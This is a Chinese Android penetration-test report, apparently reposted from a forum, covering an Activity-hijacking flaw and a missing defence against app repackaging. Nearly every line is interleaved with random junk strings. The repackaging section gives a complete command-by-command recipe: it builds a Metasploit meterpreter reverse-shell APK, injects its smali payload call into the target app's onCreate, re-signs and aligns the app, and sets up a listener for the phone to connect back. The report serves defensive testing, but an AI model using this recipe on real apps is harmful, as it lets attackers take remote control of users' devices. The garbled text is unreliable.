原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

! p; t4 L4 s R/ ?2 Q

, E, U3 C" S# X9 t9 {, T" y ' ]. G2 S8 K0 }; p% }& h8 t

( {9 ~+ {# c7 h' Z

0 W, b3 x. y+ y6 {5 _

3 R/ x5 G6 Y) t9 Z" f. n4 I, o) D 文档编号：                ) T8 P. }" P9 m& D

% g" O4 |, w @. q* Z) I+ M7 p, Y' u 8 J; ?; f. I9 P7 b) j+ h' {7 g2 F   8 g! F/ F! H& F# @

  4 u3 B# S+ C* W' y" m& g) b4 s

, j# L4 Y9 `5 a+ R# M + ~4 C8 t" M% X1 S* z- x, h

( K' t5 ^, i; y$ \% J- q( X  

9 Z" a# {0 R; L) ^9 t( S/ e8 Y2 {   8 Z- O4 q: |" w - n, v" [4 }% z8 }5 l3 c1 t

' N8 K( o- l6 f + L1 m5 [) a. r* L& H1 b6 l+ t

- `% ~' D2 r& S   # E% E b% f6 o4 n8 Q0 ~0 B 9 Y; b% u/ b1 {1 w( @

1 }* J$ J8 q, |4 j& J. n/ C 7 m7 c& d3 ~) x$ U 某某某APP渗透测试

) V5 P9 B. V) f) H0 B, w

  & \, g1 p$ F; W7 O. X4 H: o

H! g0 C% \ A7 w5 J/ W, Z& L + z1 U5 {% V# s g

) u6 k! h4 `$ L3 g; f5 {   8 e/ K7 j: q7 |' j' ^1 M, \ : O% H$ i, i* h$ c+ u- [

Y+ g4 g! p5 ]* M \ # `! B; ^( g) z

. ~1 E. w6 o( T   * H6 p3 A! Q9 \ l, B ( I _0 [! r2 K4 o

7 o4 t1 m# ?: C x) }0 a9 f* j   & A, s6 [& D+ z

5 J1 M7 E2 q6 v0 |1 U ! [' i& }# }! [3 {) G

7 _+ P0 H" @" W/ |7 ~2 K: N g 技 术 报 告 9 R. R! r( I& N: B: {% F . s$ y* m" v- G: ^ ~; O w$ X# }8 V

0 c5 X7 H* K& [( U

" w& N* v! E3 K( P# n g. ?+ D   , ]7 c7 r* y# g$ s; N) n

  # z0 S) {& X. s, e( s 2 Z; R' F5 b( o: n

* j0 C; U' J' w% E: F 7 u' w `; w- A; ]# |

6 z3 w3 r- O( u3 J   * H% E1 v3 `+ B9 U) X& C( z

) a' [! O# @- O, }# b* |7 q6 ^! ]   ' A/ {' f1 N8 O( S+ }! O " }! R6 M Q# p* C5 L6 i! G

+ _0 K, R& W5 V' Y9 K) C) R   0 S: | ^4 Y. T4 h! R " ^3 r" W& ]' d. B- O w* J

3 e8 U0 Y1 A" ?8 j6 T8 W' b" S

; h% Z5 x* t$ }   7 z) J$ J" B% ~4 K! r

! m, l2 F5 z, m' \% l; a7 h; R; e

  ! q; k( U0 u4 b" a( i9 q6 t

1 m9 F ~' m4 q/ x0 _4 f0 S  

* ^! Q2 T \; m, W   - f, h O: W- r% [: c2 E$ U. \ 4 `7 Y( D1 J# `" G! ]

7 Q# w" {: p0 q; d

4 ~5 R* k8 M2 G& u6 B5 U- V$ t& I  

  S% | \% Z3 M2 v n" d. @ $ O: c% z) M; D

3 H0 I* {8 g' g2 X! Y" T + E( o( E9 n6 C& B( a  

' s) J' ?+ A) b/ R5 ^" u- t8 T

 

8 m# J- m& y$ g4 H. k . T* a9 y. H$ I! C! U0 A

 

: t, G! X; V% Z6 G1 i4 ^

* S, Q# A! l1 v, r& q! C  

) o. b9 V' H0 D! u" p

) m4 A$ ], P* v8 F5 u* t0 |   0 a+ h5 i& C! z% f6 {, ^3 T

  0 ]% L0 R: P2 ^ & b5 M7 z8 K' K1 N, T

7 L' C$ B7 Z! H9 K4 g7 _   9 Z8 g, A7 _- G9 U4 e8 r

) ^% B& ^. e0 m: E8 |: N+ ^/ W6 k . r0 F2 Q# I7 J; e, a+ I9 Q/ a

二〇二〇年 8 f8 ?8 y5 E" ], R: e V/ q7 H, i" }+ S* M! j: E9 ~

5 o* l- Y9 K' H# o

2 U# m2 q; ` Y/ \2 y" g" l0 E B6 o" `& r: j
0 l: x {/ U. d9 g8 ? % O( t' {( N9 c# K. _7 R

- }2 ?0 P# n3 T# q9 B( L- U; S

8 S, Q4 q2 K' C# S) m/ v8 L* Q3 t5 B# d

$ M' b' \: _0 @* |. Y" _ y r 目 录

B, ~& u$ B e" y% O8 N( x 1 Q: N3 q# X. @ ! U E; b7 z$ M7 P0 U+ H: L$ Z : X8 @4 d4 o0 D& t* b: Z& `, x

 

4 c: u8 Z1 s' p* B5 D 1 概述... 3

0 Q3 H1 C+ p) m9 D! p. q+ B$ N

1.2测试时间... 3 3 Q# z8 w P& N8 o6 E

. w M# F8 |4 [' ]& k+ I 6 e! W; A8 P2 w" Z p' j! P0 \

2 w6 h4 d4 S( W1 L. ~ 1.3测试对象... 3

% U4 c9 r' x' E9 }( \ 1.4测试结果... 3

* m7 }) a3 Q0 X" r0 I& r* N 2 检测结果... 4 3 u, L9 S) w. V$ c

% i7 N* M& j6 Q- T/ e' v, T( J 2.1 某某某... 4 * D( e6 Q0 }$ m: M7 g ( c( c. c% D* e

J7 s0 I* l$ G: N) b& } [; e8 g4 m

2.1.1检测目标... 4 & @2 P7 l+ @5 T# f) U! k! o$ W+ J 7 q" R3 q/ ~' S" ^& b0 I* {1 @

; v9 U% j, i, ]4 Y; {

; ~3 k; t. g8 C4 t % A: b) t9 \) ? 2.1.2检测结果... 4 & c! e* {+ E. }/ F) S N

7 ^, K( @/ _# u% @2 m5 F, N b9 \# m( S4 r- t0 A" b i

: e9 k& U/ g4 [4 A+ G 2.1.2.1. 4 % F, o% n( m5 ^. N; w

9 z6 L3 H7 h S

2.1.2.2. 6 # l+ Z+ X) {8 L: M 6 a7 M) K, d4 c) t; V0 g# |5 R1 w

. [: ~$ a% K2 ?: C7 j! }, @, Z& C' D' G

- T+ s; z- X# I 8 L8 ?% P( b6 w - M) j6 j1 s% Q' ] & t, j. o) ^5 g; B- ~

% a, n/ G9 e% |; L5 Y6 y: ? V . I. B/ j3 |. e' I0 M" a0 ` ) X% p& T: l- V2 P3 }! d$ d( Q! Y

5 r, l: b9 \' r# _' L+ V7 V 7 b, `* q5 \' s0 o7 e0 F

: z' ^3 y! w, A6 W1 j- S : r) n( m0 D R0 n 1 概述

! n5 U$ w" I+ }8 a9 I0 j& I. d) T 3 k) H6 i3 D }8 i, Y

* s R+ F. D3 ~+ d' h 1.2测试时间 $ n3 r5 w/ k5 ~3 b7 i

6 A4 N& W$ z: p4 ^, N6 [, o3 g) g5 b5 i. _4 b& k& U$ Y4 p3 N j5 k" q$ t/ P# n, S+ _" G8 E, [* a8 f: m$ W$ h1 S2 T: x# \; O; S G; E5 P7 C/ m6 A5 J1 w5 a( y( c) ?, F5 K& ~* h; F4 z# I: G p3 D* L' `9 e9 n. P( _9 |6 k: n) i" b: H5 i" C- S" G8 p' g/ u" l6 i9 R0 y

6 I% V s R) X( B' _! ?" M$ ~( } - ]: y+ h/ m9 N8 Z0 a 渗透测试时间 : R K- S# j# l9 K9 Z* l $ N6 b' A- t8 r" A- W ! P+ x2 y7 p9 o8 g. F( q
/ j! f( t1 b0 f( F' e; \ # k3 n3 l; M1 u 起始时间 6 W4 Z; @2 A/ }7 y; r ! w9 m+ G' V, c { B* o; c* }	2020年4月6日 & ^5 |& @4 W3 H ! m* `. \& _* _; Z/ Z
4 x- W" y# Q% ? ? % z: a9 g; e' v5 K9 ` 结束时间 # Y: E- Q! J' ~- }3 T4 a" J1 h 9 ~( w; D* g" B/ U |/ M	4 J5 A1 o" G! d: L, L: x + U" f, u, K1 L3 ] 2020年4月9日 ! p0 Z0 k. J) ]' T , h% X( L _$ i3 O" C ' }8 g+ N6 ~* U/ K( E2 ?

3 O+ I d4 ^; ^) P" o$ ?" l

; ]: n* o' [) b' B' j ' Y( k" W; K9 }$ b( r 1.3测试对象

( k" t% U' |5 b4 j3 H+ Q) r7 Q ; n0 U" R4 @: d$ I

. X% l$ H+ l4 E& r1 ] 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ! l* f9 O' r" I0 M' H& D

: ]6 l) ?$ X3 X' m 表1-1 检测对象 $ M- P3 o& t3 V' u& f, k9 {

( U& {4 t. _" ?% q% N3 }3 ~9 ^ Y! h3 k* o1 k: h J# G3 U9 K0 G( ]* r% s S4 {0 B3 P) g4 W' B: o* M7 m7 o; X2 Y% m4 o+ O/ ]- X! C/ m( R) _, M/ h) [& U3 U/ i6 k/ D# s2 E) N$ W% y+ r' e: z w! d" r5 ^ @6 c) j7 d0 M0 q2 Z2 J. L; C6 ^2 O6 a1 J1 s5 P: V* e& J! L5 }3 P( p7 s! X' R) X, Y E

* u& L5 C: C5 K% o0 O 序号 8 ?+ R- f, j$ G- x; q! B8 k	1 k) q: C* U2 H$ Z" r( a- m : M# K& ]" y6 W6 v* j) o2 t3 e . H. G' j+ `1 e) B2 M& O% W" C6 ? 测试对象 4 G3 {' G- {8 G# E8 a * A% G& |; X( h3 { 9 U7 ]" C8 ]; h/ B	, n4 V# }9 v; A, m : h) @9 |& E$ K8 w$ } - K: u" Q) `* _; R; _7 Y 测试地址 # ~# G0 O4 |$ @+ ?" x $ G h3 b* z9 A; I* [ 5 n* g+ {2 C8 u	' C: b) w- l4 `% M, K6 G + P9 [0 L1 t: L: Y0 L4 E6 s 安全漏洞 # D$ w8 _6 `/ n! f
; ^% V* C- Z& a% Q, S2 B7 F% p% k9 y % J* `; Q% r& [ 1 ; C } q2 ^" O2 } & X$ v8 F g9 N* K4 _0 }7 P5 s; _ 8 s& l. X0 U1 i4 O: v9 B+ t6 T/ M	& }* e4 D7 S6 b) ]7 C. q- ^ 9 G) v! A8 P0 T/ x$ _ 某某某安卓APP	% w8 x% n- `% B# [( U+ a , g+ \# k f$ m' z/ ~! e - B) [8 L) g) `) Z1 n$ x   6 ^* H' k0 \) d4 K/ V " Z4 h/ T" W* u	2 + t7 Q* m* y1 F+ s9 | - q9 k6 m+ t' }+ _8 i5 z- `- o % }4 h" i9 i; j: F7 Y

9 r6 y8 g9 t/ w2 h' U; X3 S # T4 v& {& E5 l3 ]/ W# H; Q% H6 m

1.4测试结果 / ]6 B- J/ x7 b& n% T, i

- X, u6 f1 P, u; r & b7 T* W ]4 k$ A0 I2 A6 i 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： & [6 b2 W+ ~ n

+ [2 N" u/ Z8 d; f+ O: N+ j( J( g, w 1 d9 D" o. [ @9 J* N( D7 z5 M* B: U9 V

2 E6 V5 @. D* R/ y   ' I- g, C" ~( f

* T" S; D. ]( _5 v( a9 L2 [ 4 R; T: [( W0 G/ ]! u' u 6 v* z5 ~ _7 _2 ^( R/ k) \- {# Z `! K+ V, P' P; i- T$ t$ ], a3 E1 f. Z0 _) _/ I0 ]; I5 s5 c) f. U7 `4 N* G* R2 p5 m7 g q i( e) l: L0 H* u! x0 m* B. ?. M2 T4 k* I6 F" {( s# o" |( s$ `8 X5 @3 w. x" h: m2 H0 u. m! a% u% _$ M8 w: T' U. i! h5 _" E! P! `; R5 c1 C6 k- h: T- k1 b' |* }! I0 v# |) L6 n: S i S9 O6 z8 c# L' U5 a1 C1 b5 [: w+ y5 H- h- S( C' B) v/ Z, Y! c- n4 x p1 u/ _; h$ O7 [$ n8 l7 Z9 j5 t0 J4 x: s0 o0 @. V/ e6 E% d$ r: I. c0 v$ O4 S) j3 X" l! o7 o _& i% H6 u/ ~. Q! F, m* ^9 e7 o1 t9 Y9 X6 g. \2 S- g1 p& Z. o8 P9 n# S0 p6 k% N. Z( f" \, Z4 Z& G& u: k; H% M1 X1 @' ]; y8 H l$ d5 D% Y' x8 z$ Z3 \4 ~" \* \! ?. ]7 h7 j7 g/ b, ~

) c3 z2 W0 K K, v7 ` - l G9 h7 q) p, {! V) E 序号 0 R4 f ^: G7 y( @- w$ f0 o ! r1 T9 O J: ^9 p5 y+ z	: |- k) `) A! ^* ~# x 4 a! \9 b4 F2 D6 E: C3 z" k " x* q. M. v- _& A$ F 系统名称 / n( R. J3 _9 B% r. O	+ T7 U5 _) A) Z) @, a( Y. g 漏洞名称 - F! D4 o2 \3 T 2 `4 _$ \5 `- [ $ c! m2 E- Y9 V0 l& c	1 n: |, f4 c# R/ J, a, B A% q$ B 5 ^9 V: Y N6 N% L/ j% R) w @. B4 m8 O9 A3 ?% v# W; h/ ` 漏洞危害	! f. d4 y a0 ]$ l 修复结果 $ y) k8 R1 [& ?& A# h7 O3 }8 I$ j - T0 d5 b1 p0 v' A8 }
# T# n# w* Y" G+ }% s* r* V 3 P! l" m$ |, k2 B$ M. J: }7 ^ 1 + {1 k8 P2 v% |3 a1 Y; M 8 s6 f( j6 x! f+ X, `9 W! Q . t6 Q3 F- y0 {% ^1 L: L4 K 9 U" T1 K2 Q. |+ y: b5 V+ e	. G4 k- K6 Y! h5 g7 a9 s) \ / g; T: i) Q- @$ k) K, U # p9 F5 _0 U' P P/ K 某某某某某某APP	8 ]% `2 Y. B% j5 D) r 0 {; o; n3 ]7 \! O& Q ; X3 X3 }' }5 x0 t Activity 劫持 # e; m9 T! b$ Y. t6 o   9 g7 L# [: U& W. @: { ' z$ @ |0 Y2 b8 W( o	2 ]* i! a7 w1 v0 n9 u 0 m; z$ r5 |# B* A. H# x n: p- R( ], H 1 ~7 q! v0 ~8 c8 Y/ W 高 ) i* x& j: L% r. n	9 F0 i8 X: F- e" z/ |8 c   % g$ r* u0 M% k3 k8 W, A
* X1 s) U9 y+ L5 C ( Q. ]3 l! q0 B 2 # f9 u$ y% \. J	2 e7 g, U$ v( {3 t+ l2 s. m' d 3 G; x Q4 l7 @3 b8 r1 r! G6 ~ : o4 x/ q& Q$ y7 h& Y/ F& \7 c 某某某某某某APP 7 s# M1 b5 J: U4 {' u ' M5 x! n$ v h9 b2 Y4 m& r " i" R1 L" x- [2 ]3 J: C; p. j2 Z	+ C9 n# D& h% ]7 x2 t K : y% l" d) d- M. r5 q, S; P 反编译二次打包捆绑木马、篡改APP代码 9 M5 s+ n$ D- r ; R: w5 w, E" J	! z# i9 ]% e4 q# i $ @0 b' i% Y9 U9 C/ T, J : f, E) E9 l- i 6 K! e/ H( Q; \8 D, h, E" X 高 ; x" q& R8 a. _# R/ s: J * ]% v+ u( M0 q2 D+ ?# k2 J5 ^ / T. Z6 f4 t# g; n1 ] 7 D) ], L1 E" c( g& D	" j- r& k3 _! w L! o8 ]3 b' n: K d   3 _' w: H/ |. x: I! {$ i) F 0 P. X! U1 A0 [6 Z

" _. U: m: M, h0 Q

& g8 Z& m. k: n' R9 m

3 H" m$ d u. E  

% Q* A" b* l% Q

表1-2 测试结果 $ d: k# ], y8 Z7 Z$ ^# r

  * w% r) a" f1 F; f6 o( y( Y. \

5 {& L3 z! l( _9 A 4 C' Q; u) W8 {- d2 l" s0 g2 j( t0 s

" I D9 C- H( i. G1 ^3 u" K. v # D0 ?3 H1 u8 f* F; a 2 检测结果                    & Z* X- o4 I9 R7 b/ W9 y 1 K4 i0 ^. n; t2 I) M% w7 x6 S% R; I

3 U% s# S3 {" W

" Q# `: i& C+ }% r2 U U0 T" h. s 2.1 某某某

( z K3 _- r% w* Q# n& \; s5 p4 r 2.1.1检测目标 - `/ _9 g9 ]5 l9 m: Y2 M 0 i8 @7 I- O! L

4 W8 ?3 ]% @) T! ?3 K! k$ s" e 目标地址： 某某某某某某APP : t1 o$ i7 Q* c. ~( V3 g

% e, @" U$ p) D: E 4 X/ Z0 E- k# M( p 2.1.2检测结果 ! F; Q' s+ Q7 y1 Q9 E ( _1 P' ~& z" }% {3 p* V/ c

; e( A3 \: k( g

2.1.2.1 - \6 P1 O; C8 g& z1 ^0 m & @% ?) D$ N, D; }' o

! `% z7 C8 U& p9 W( q 漏洞链接地址：某某某某某某APP 7 D( B4 q% E, Z7 u! D# Z 4 `: F1 L6 P( }2 }# [

2 \& o% g8 @' `

9 Y) c1 k; k% v$ I {( w8 C2 B" k( {: P) b& V1 g   / Q# Y; M7 J/ f3 [

( M* k, f8 Y% \5 } B- W1 f" ^# B7 o

漏洞分析及取证： * Z( Q9 ?* `% k, W1 K+ `2 u- B

/ t( }! K# t4 J) M

9 V6 W3 \: N3 d                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 7 K* b' s' \4 j" R+ \0 m 8 @2 S. k' c7 N4 Q/ n

' k- ~2 H# E- K, T9 D% M/ R

    

                      % F# T+ n1 }. p% @1 n5 [5 X0 U+ T

0 M" |; u' G9 p, c3 t) y, f2 O

5 [- r: k. R/ ~% F, v8 f- p

( Q) `/ h- Z0 p. x: q+ X4 b& i

1 ?% U" G! H/ l; `" K1 r" g8 u & L" D: ^% Q& \3 S* ^: M 1 T- d: ?( B( R/ z ; }5 T+ b5 U& m& g5 p

7 b3 X! p6 ]4 Q

( w6 _0 L5 Y- `! V: }1 P * k( R( V- r+ n # S+ U+ Z# d3 y& l. M1 B1 ]

6 x2 a0 a# H/ |5 @( R

, z3 S! w! V6 n8 l! [ 漏洞危害：高 7 Y. v/ c- G: h& Z& m( y6 u 5 b k+ A8 O+ V

1 W1 \. o, n0 p% I% P' ^5 l+ ?) L# N8 Z* n- x0 w/ W. U: A- r6 Y0 H' _; \+ t4 q: t' z4 Q. v5 x$ r$ B5 D5 u- t0 Q/ `0 U* Z+ q# L5 X& e# A6 }1 m4 k1 m' ]0 \2 u7 H7 }3 P" k% e+ a( ?3 b3 ^; b- Y9 h+ Q* z0 H7 n

7 G G# @2 t/ y% z # X3 g" E/ N* H8 H# b A) s* e! z1 W# S3 _8 F8 f . m* B. r5 K9 w) K2 y0 Y 严重程度 1 _% i1 h8 k2 @) V3 V6 I5 s% G: D	$ r1 r K/ M, l* v1 S& r4 j" B ! s* ? h. }- W! M" V4 ~# I5 Y ' q+ M4 L7 \/ L, i4 u/ @+ } 高 : K- n* d5 ]4 m1 Z0 b. F	! J6 Q& P1 B: t* K3 n % k0 I+ R2 }- J- r$ b5 r ■ ; g* n! r8 E/ s" `0 _ ; S; h& F) W4 P8 W	( B; X- l, [5 j5 A: n& ]3 H9 Z $ N6 ]6 @& z* d: i 中 & D. R, }) J. i7 O: V$ Y$ A	0 C; y# J9 S( [4 u( L6 b/ m& j   & ~ p3 Z3 ^1 ] Z& M- w+ ]# k a0 ] % S0 j. g/ h% E' d! H4 z V	# k+ f7 s# q( s# B. M _ B+ T0 C) k* ^9 ~ 5 Y6 n' ]) }& X. G7 X 4 b Z, C8 q; A. h% q 低 7 |! l4 R6 I H; K! v* o 9 a7 _) W! I; j' n! y	# E2 m: ?* ~$ i* H' ` n . Q( c' @. Z+ O8 m1 g   / b* ]7 l8 O) Z% d, z 0 l( W9 G; `0 o1 U* N. D

/ g* y, [- K6 D* B

' h: @$ b" x! U8 L* i

: ~5 s' k6 z: M   ( K$ a h5 y1 y3 ?8 t3 m- \ ! ]9 j6 M" f' z; A4 k* \

1 I/ X I+ K% }( K. l

$ M% b# a! l0 g; [- q$ x9 i 8 V& G' Z) k2 w2 H 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ' L5 i% s% g b6 [+ K. G; o

- R+ t0 T, g! s% a# U( r G           ' h- o* x+ }$ w

3 f: n _$ u* s7 {6 v! L0 E8 o 3 x$ k1 l( b( _& U& n% _- U

/ I1 f$ i! f! P8 D  

8 w1 V+ E7 t* }* z; G5 D3 ^% { 2 R/ C" z0 H6 {. s

( R. u& @& k* @( g" t" O 2.1.2.2 6 f& ~/ O% ^: R

: t3 `6 Z4 \+ T# k # n% q1 Z- R! |" f1 X" n. C7 v

; A- D5 l5 h8 T 漏洞链接地址：某某某某某某APP `$ V- h+ {% s& L% g

. u* [9 V) P& H7 Y; E: v

% j4 ]0 B9 U7 I+ b# ?: z0 h ; r$ w. q, E0 [& U: c* L) M: _ 漏洞分析及取证： - p$ Q5 Y3 l$ g " V1 Y# T9 l' a0 }! k$ G# f& h

( N/ M5 [: A; p& o 5 r# x/ N& p& y, t- l! C                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： ! _. F) \' r' Q% |

, [" ]6 m0 \# o$ T/ o$ W

- L+ H, A$ o2 g2 t) L1 g+ ]( `- H % H# X5 B; C6 I% O3 j 用Metasploit 生成木马 apk 3 R7 }2 d0 J: H6 O, O2 F2 R

7 T* Y3 X2 ~$ i1 |. g : o* ~! ~+ v6 z! d) E

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk + D1 b) v/ q9 S) A6 b: W

5 c& L$ g6 f8 v: K

2 l+ I, R* @! y: \ 反编译目标apk和木马apk : r Q8 h8 a4 ]. v8 |& {- R4 y

; ~* O {: N: Q4 r7 L

+ v4 o. t/ @1 l0 B. z9 ^8 o$ T# g0 X } : ^2 B( z5 J4 D apktool d target.apk
. c5 U( v9 i; E F* N apktool d cockhorse.apk

' f! r3 \ F; J3 F6 b. l

木马 apk 注入目标 apk % V3 b( R2 @/ ~6 V

( q9 n5 C: ~6 q) G) v 1 \3 D- n0 |% ?% }7 A

$ ~1 _ x) A |/ \ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
9 V8 ?0 u, B3 m$ p% C& H/ c& ]! y invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 , i# W+ Z2 u9 [# V- |0 P

; n( C7 r4 s: D3 \( r. P; v " ` u/ o! @9 L, J# x8 g

$ H0 T% g1 Z- s 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 $ i& P3 g3 G( B$ m' e$ u) V

" E2 G3 T( E: L; _& _; c$ ~! o * q: N7 o& e' z9 t: X; Y# K' [! f

4 C) |. }6 E+ ?: p& A6 L" c6 [5 _) { 回编译生成最终 apk 6 L" ?7 B7 Y! s) @9 c

) ]+ V: M% C. Z/ ?- n) W 重新打包 7 z% G) p6 j: W; }& E& O! y2 C" f+ w

apktool b -o repackage.apk target_app_floder

& c- M- h8 X+ _! b* c& |6 a

0 s+ K! M9 F( P) b" y 创建签名文件，有的话可忽略此步骤 3 s1 x/ L% ]7 ^+ ?4 \$ H( A

/ s8 H: f5 C% J+ S( u0 y$ n

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

* e8 W+ D0 D! o( a6 W2 `8 \ * U* s# d0 Q \9 v# [' t/ V

9 C/ R B5 P# y5 X6 H' r5 E% \ 签名，以下任选其一

* e1 ~. w8 m4 {4 J0 O + S) X1 Q% e; ?

, `1 P" r! j' e4 o/ E" _- ]0 d jarsigner 方式

' }- W0 T5 y, T6 v

+ a$ L& z0 {& U+ j8 T3 E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 6 J3 ^0 n/ t' K/ I

5 K6 ~+ U0 d0 D- D: ~ ( z, l% t. z; D' Q, ?# K

! E5 k! G2 `7 K! `& N; w apksigner 方式 4 L- n: P, D; n+ [

' C8 {4 Q3 ~+ d e5 M apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 2 h' m! N2 s+ }' Q / N$ ~! P) v8 M( ?; g# m: r4 H& v

# s+ I3 h" G$ F; w9 `& ?, P; |9 b

如需要禁用 v2签名 添加选项--v2-signing-enabled false 4 V# v- X4 c, k* c7 r( c

验证，以下任选其一 4 p0 _) n3 R& t j4 x: z ' @- L6 i8 w$ G

) o+ q7 g/ y+ P: o5 ~

0 a0 a7 t9 s4 z9 N. ^& S jarsigner方式

( p( }$ P# L2 |$ f$ v8 U

jarsigner -verify repackaged.apk 8 N% `0 @7 v2 z1 ^: R' Y/ y5 {$ P0 z

" v5 E7 q P+ V% s# J

apksigner 方式 3 {8 n) N" X$ r5 Z

5 E% H2 g/ B2 u: W) d6 t( \

# t) F! J0 ^, J. C+ I% k apksigner verify -v --print-certs repackaged.apk # s' ~- @- @% v& x8 p - c% v, A4 \3 @" q" H3 ?0 E

5 X0 Y+ C9 m0 K) L) q! U" d W

) B0 W3 U+ E3 j, s% | + l/ A$ ?( N. {4 \9 T& L$ F9 l W keytool方式 ' b$ y' b! K2 \% X! ~' w

. j! m4 i0 d# Z% b# w

keytool -printcert -jarfile repackaged.apk

对齐

- U4 b/ E9 B @* B, l; `) l1 y" T, J+ L

o) Y7 s8 w3 p4 R9 ~+ k: _ 字节对齐优化

4 r0 `$ ^8 ]% h' f : f9 l2 P" @. V7 p7 O* d zipalign -v 4 repackaged.apk final.apk " E. {8 s- D$ `" l f) B& M

. m q' _& I6 H/ R$ K/ E7 C ! Q- x/ J/ k7 [1 o0 x, N" x& J$ `. T

8 C) ^) |0 O% x$ R) p# D; i+ p 检查是否对齐 * J9 ~: o: O' \$ c9 T2 u' s

4 c; u; D0 _! e) a) x/ x, ~ $ b! P. D/ \3 a( q, h" N

2 Q2 h6 Q5 m) a2 _- t# I% z% v zipalign -c -v 4 final.apk ?) U: S6 A0 z; m7 N6 A2 K5 j # ~. m& Y2 j# T( l6 U

% q/ e- v E8 ]1 E1 |: s

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 u% I, ]6 b w. R

# G$ ?$ H& G2 }% p( N* V( U) |8 W

0 R8 W7 d( _" W) w2 Y8 k1 q: i 8 j- U, d3 v! q0 s/ b9 r 启动Metasploit控制台，配置参数等待上线 ; S( T5 p( s+ C9 ]+ f

0 C. Q! M- s6 d, g

" j' {6 g: y3 X) ]7 t9 [7 @ : g# K: e$ B* ?. o. a: z 在终端依次输入如下命令

9 y0 D( h0 n( M R/ C% b

msfconsole 4 V( x- F3 [3 l2 K9 C- L* u , m/ j4 \) b3 ~& z' l( I! U

( G' l- O- v% [/ ? \2 B# p4 x

! \0 k m0 x# @ use exploit/multi/handler

7 b, T' i2 w! v 2 h" R- j4 ^$ @) v0 I

set PAYLOAD android/meterpreter/reverse_tcp - n3 G% `/ q- K- I2 O1 m& r

7 k/ w8 {, @/ F( B, L, n1 K & a2 y K* i- `1 Q1 E set LHOST 192.xxx.xx.xx / ]: d6 I* |: J# Y% b. M

% `; i' k3 s1 Q2 r

set LPORT 4444 0 f) |0 \) p% w6 Z2 w

! k) W; |% w. z- D0 G9 i( O) @# h

- U% u6 d$ N( P4 Y" a3 ` exploit 1 P6 b1 f3 l R7 X: p; I

# P; P7 @- O1 B6 `' q* K

0 e1 s5 F5 s$ I# M, R 2 n; C2 x& A/ E* E) { M 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               * |0 r# {" b8 Y8 u& J* ~$ Y" v % y2 G6 O/ Q5 \8 H% D

& i0 K$ v' D3 Z+ T5 I! C ' m9 V0 E" ^1 r' o( [! H' T

! F, H" d) b8 J ^' L 漏洞危害：中 9 u* l/ O: k. k, w' p5 [; n( E

: s3 ~0 x' X7 S( e - t8 n, P. ?% x9 T' P6 ~ 8 t8 @. @+ l( Z* C3 a5 [, R; {1 x: v; P7 C" _3 J, g# C$ l! q" W2 G5 w6 T5 L' @; k" q5 e" G7 p; p4 h0 n* d9 \. O+ Z# h# \( F) v4 z# \2 \+ O P3 j5 C. ~7 Z2 [8 g4 Y4 p, [& ~8 s5 g y! A. U) k7 }2 d0 p' w0 E( A; D ~5 Q4 E7 h+ k* ?5 q! d% F- k+ B+ {* h" P& f6 g: i' V' y5 b- z P3 G! L/ p' r9 |! C. O% T4 n4 ~. P+ X1 k, L$ T7 C+ b7 }

4 v1 s. f @3 y- q1 u * C$ i1 B+ R, w+ }: _/ i& Q 严重程度 & z M0 i8 ~# c! c) J" q# J# X. E* V , y0 y. W5 Y$ ?1 a" _- H : |0 g6 t: l7 E : @& O3 G6 x/ P	3 W0 J2 l, L3 y( D! B 3 L5 e, Y8 h. \# `& h 8 B3 x% @% y- \1 q w 高 3 b3 w. j8 d3 E2 C3 F: N / u" b8 o7 S- r : S8 g+ j" w& ~; W2 U	% l- f9 R) e n; h! k( ~. q5 r) r 9 ~' Y7 x+ s! F: S, H: A ) [, H1 M1 q( o L+ R4 F* W ■ # b5 O" h0 Q, T5 G0 A* g0 b " E" I9 ?+ c" O/ M/ ?* k5 m K 6 u+ L' J6 r7 Q F	7 t3 d) ]2 C. A8 B9 l& a r3 B 6 s1 J( d: U4 ` ' A1 V' v2 q0 C 中 * `5 a3 p* H5 {1 l) @. ^$ O ) t+ _: S! S$ h# B, F& m: t	* b& F1 Q) c; h4 X& C, D! T% N ! k! c% o4 b5 |6 \8 T 6 @- T2 G5 ]5 Q% \8 b   , H; i- f: g0 J1 U6 }1 o' B9 | \ % I- T" W [3 k+ V; M$ d' Q! {, e	& H B0 a* F3 `8 f5 J 8 p3 E0 w+ }/ C# z3 f 低 . I/ Z5 j7 g# o	t5 d' Q+ N0 t& N/ O; X" e1 Y + I r' d4 v4 ]7 |2 W* W / u' N* p0 }+ J   ) G' F/ G3 d0 k 8 y" a! D( [4 K: Z

0 A, a4 x/ y7 T8 M5 c) D + |% s. ^! S4 w8 S

 

; Q) E1 W: `4 F7 `! ] p , g S9 I2 G, A- r* A. z0 \$ W 修复方法： 2 t! C; A: f( N c+ r7 l$ O

# D v) {2 e9 N1 Y1 C& a6 G6 n1 P( R 9 y6 B I: P! ?. K( k0 D               1.在 APP 启动时应做签名校验防止二次打包。
